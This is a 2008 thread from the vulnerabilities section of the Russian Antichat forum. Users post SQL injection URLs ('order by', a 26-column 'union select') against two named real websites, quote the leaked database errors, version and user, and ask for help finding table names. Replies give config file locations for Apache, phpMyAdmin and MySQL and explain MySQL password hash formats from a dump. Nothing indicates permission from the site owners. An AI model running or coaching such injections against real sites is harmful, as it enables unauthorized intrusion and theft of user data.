ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1051  
Старый 25.02.2008, 02:28
Аватар для samarin
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283

Репутация: 69
Отправить сообщение для samarin с помощью ICQ
По умолчанию

подскажите пожалуйста!
Нашел скулю
http://www.poetryclub.com.ua/getpoem.php?id=55117+order+by+5/*
но при попытке подбора количества полей выплевывает
------------------------
Database error: Invalid SQL: UPDATE `users_poems` SET visited2 = visited2 + 1 WHERE id = 55117 order by 5/* AND confirmed=1
MySQL Error: 1054 (Unknown column '5' in 'order clause')
Session halted.
-----------------------
пробовал уже и union select(дошел до 30)и order by везде одно и тоже
Подскажите что я делаю не так. заренее Спасибо
 
Ответить с цитированием

  #1052  
Старый 25.02.2008, 02:48
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

2 samarin
Не все так просто почитай это:
_http://forum.antichat.ru/threadnav35207-1-10.html
 
Ответить с цитированием

  #1053  
Старый 25.02.2008, 20:03
Аватар для xaker-boss
xaker-boss
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме:
1547094

Репутация: 120
Отправить сообщение для xaker-boss с помощью ICQ
По умолчанию

Люди а вы неподскажите, где можна найти статью где описывается где вообще в апаче лежат всякие конфиги, например к phpMyAdmin, webmail, squirrelmail и тд. ?
 
Ответить с цитированием

  #1054  
Старый 25.02.2008, 20:32
Аватар для neon_fx
neon_fx
Познающий
Регистрация: 22.02.2008
Сообщений: 74
Провел на форуме:
394753

Репутация: 120
По умолчанию

Апач конфиг в папке :
\usr\local\Apache\conf файл httpd.conf

phpMyadmin:
\home\localhost\admin\mysql\phpmyadmin\
config.inc.php

mysql:
\usr\local\mysql5\my.ini

Последний раз редактировалось neon_fx; 25.02.2008 в 20:36..
 
Ответить с цитированием

  #1055  
Старый 25.02.2008, 21:00
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

xaker-boss сдесь ещё парочка
_http://forum.antichat.ru/printthread.php?t=49775
 
Ответить с цитированием

  #1056  
Старый 25.02.2008, 23:59
Аватар для m0use
m0use
Познающий
Регистрация: 22.02.2006
Сообщений: 50
Провел на форуме:
256744

Репутация: 16
Отправить сообщение для m0use с помощью ICQ
По умолчанию

Цитата:
Сообщение от CaNNabi$  
Это логин и хэш) если я не ошибаюсь =)

Это я не знаю че за шифровка)

А это

Хэш MySQL =)
Вот ТУТ FAQ по хэшам
то что первые хеши мускула 5 а следующие 4 я догадывался, но как они могут находиться в одной базе?
 
Ответить с цитированием

  #1057  
Старый 26.02.2008, 00:13
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

да легко, просто используются разные функции для хеширования
а точнее password() и old_password()
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 26.02.2008 в 00:16..
 
Ответить с цитированием

  #1058  
Старый 26.02.2008, 00:14
Аватар для samarin
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283

Репутация: 69
Отправить сообщение для samarin с помощью ICQ
По умолчанию

Добрый вечер!
нашел скулю вида:
-----------------------
http://art.dn.ua/news_one.php?news_id=1+union+select+1,2,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26/*
-----------------------
citysite
4.0.16
csuser@localhost.localdomain
------------------------
но никак не могу подобрать названия таблиц. Кому не трудно подскажите. Всем откликнувшимся СПАСИБО!
 
Ответить с цитированием

  #1059  
Старый 26.02.2008, 03:07
Аватар для o3,14um
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

а мот там 1 таблица...
 
Ответить с цитированием

  #1060  
Старый 26.02.2008, 05:11
Аватар для m0use
m0use
Познающий
Регистрация: 22.02.2006
Сообщений: 50
Провел на форуме:
256744

Репутация: 16
Отправить сообщение для m0use с помощью ICQ
По умолчанию

Цитата:
Сообщение от Scipio  
да легко, просто используются разные функции для хеширования
а точнее password() и old_password()
Как я понимаю версия должна быть 5. А у меня 4.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ